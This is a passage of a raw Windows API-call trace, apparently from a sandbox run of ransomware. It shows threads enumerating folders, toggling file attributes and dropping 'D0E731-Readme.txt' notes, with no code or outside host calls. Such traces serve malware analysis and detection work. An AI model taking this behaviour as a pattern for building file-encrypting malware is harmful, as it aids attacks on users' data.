dwFileAttributes=0x20) returned 1 [0084.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495dd8) returned 1 [0084.951] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf", dwFileAttributes=0x20) returned 0 [0084.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3486860 [0084.951] wcscpy (in: _Dest=0x3486860, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0084.951] wcscat (in: _Dest=0x3486860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0084.951] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0x20 [0084.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486860) returned 1 [0084.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431640) returned 1 [0084.970] RtlExitUserThread (Status=0x1) Thread: id = 1146 os_tid = 0xe88 [0082.925] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini")) returned 0x2020 [0086.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x20) returned 1 [0086.548] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa40 [0086.548] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x28a3f9a4 | out: lpFileSize=0x28a3f9a4*=0) returned 1 [0086.548] CloseHandle (hObject=0xa40) returned 1 [0086.548] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x2020) returned 1 [0086.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd6f0) returned 1 [0086.549] RtlExitUserThread (Status=0x0) Thread: id = 1147 os_tid = 0xd7c [0082.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348aba8 [0082.926] wcscpy (in: _Dest=0x348aba8, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0082.926] wcscat (in: _Dest=0x348aba8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\" [0082.926] wcscat (in: _Dest=0x348aba8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*" [0082.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ad628 [0082.926] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x34ad628 | out: lpFindFileData=0x34ad628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0086.527] wcscmp (_String1=".", _String2=".") returned 0 [0086.527] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34ad628 | out: lpFindFileData=0x34ad628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.527] wcscmp (_String1="..", _String2=".") returned 1 [0086.527] wcscmp (_String1="..", _String2="..") returned 0 [0086.527] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34ad628 | out: lpFindFileData=0x34ad628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.527] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.527] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.527] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34ad628 | out: lpFindFileData=0x34ad628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.527] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0086.527] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0086.527] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34ad628 | out: lpFindFileData=0x34ad628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.527] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0086.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ad628) returned 1 [0086.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348aba8) returned 1 [0086.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.527] RtlExitUserThread (Status=0x0) Thread: id = 1148 os_tid = 0xd90 [0082.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x33e5bd0 [0082.926] wcscpy (in: _Dest=0x33e5bd0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0082.926] wcscat (in: _Dest=0x33e5bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\" [0082.926] wcscat (in: _Dest=0x33e5bd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" [0082.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ad890 [0082.926] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x34ad890 | out: lpFindFileData=0x34ad890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0086.526] wcscmp (_String1=".", _String2=".") returned 0 [0086.526] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad890 | out: lpFindFileData=0x34ad890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.526] wcscmp (_String1="..", _String2=".") returned 1 [0086.526] wcscmp (_String1="..", _String2="..") returned 0 [0086.526] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad890 | out: lpFindFileData=0x34ad890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.526] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.526] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.526] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad890 | out: lpFindFileData=0x34ad890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.526] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0086.526] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0086.526] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34ad890 | out: lpFindFileData=0x34ad890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.526] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0086.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ad890) returned 1 [0086.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5bd0) returned 1 [0086.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5318) returned 1 [0086.526] RtlExitUserThread (Status=0x0) Thread: id = 1149 os_tid = 0xef0 [0082.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348ad88 [0082.927] wcscpy (in: _Dest=0x348ad88, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0082.927] wcscat (in: _Dest=0x348ad88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\" [0082.927] wcscat (in: _Dest=0x348ad88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*" [0082.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34adfc8 [0082.927] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x34adfc8 | out: lpFindFileData=0x34adfc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0086.524] wcscmp (_String1=".", _String2=".") returned 0 [0086.524] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34adfc8 | out: lpFindFileData=0x34adfc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.524] wcscmp (_String1="..", _String2=".") returned 1 [0086.524] wcscmp (_String1="..", _String2="..") returned 0 [0086.524] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34adfc8 | out: lpFindFileData=0x34adfc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.524] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.524] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.525] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34adfc8 | out: lpFindFileData=0x34adfc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.525] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0086.525] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0086.525] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34adfc8 | out: lpFindFileData=0x34adfc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.525] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0086.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34adfc8) returned 1 [0086.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ad88) returned 1 [0086.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a608) returned 1 [0086.525] RtlExitUserThread (Status=0x0) Thread: id = 1150 os_tid = 0xf38 [0082.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x33e5508 [0082.928] wcscpy (in: _Dest=0x33e5508, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0082.928] wcscat (in: _Dest=0x33e5508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\" [0082.929] wcscat (in: _Dest=0x33e5508, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*" [0082.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa3a0 [0082.929] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x34aa3a0 | out: lpFindFileData=0x34aa3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0086.523] wcscmp (_String1=".", _String2=".") returned 0 [0086.523] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34aa3a0 | out: lpFindFileData=0x34aa3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.523] wcscmp (_String1="..", _String2=".") returned 1 [0086.523] wcscmp (_String1="..", _String2="..") returned 0 [0086.523] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34aa3a0 | out: lpFindFileData=0x34aa3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.523] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.523] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.523] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34aa3a0 | out: lpFindFileData=0x34aa3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.523] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0086.523] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0086.523] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34aa3a0 | out: lpFindFileData=0x34aa3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.523] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0086.523] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa3a0) returned 1 [0086.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5508) returned 1 [0086.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5220) returned 1 [0086.524] RtlExitUserThread (Status=0x0) Thread: id = 1151 os_tid = 0x744 [0082.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e5cc8 [0082.929] wcscpy (in: _Dest=0x33e5cc8, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0082.929] wcscat (in: _Dest=0x33e5cc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0082.929] wcscat (in: _Dest=0x33e5cc8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0082.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a1580 [0082.929] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x34a1580 | out: lpFindFileData=0x34a1580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0086.522] wcscmp (_String1=".", _String2=".") returned 0 [0086.522] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a1580 | out: lpFindFileData=0x34a1580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, 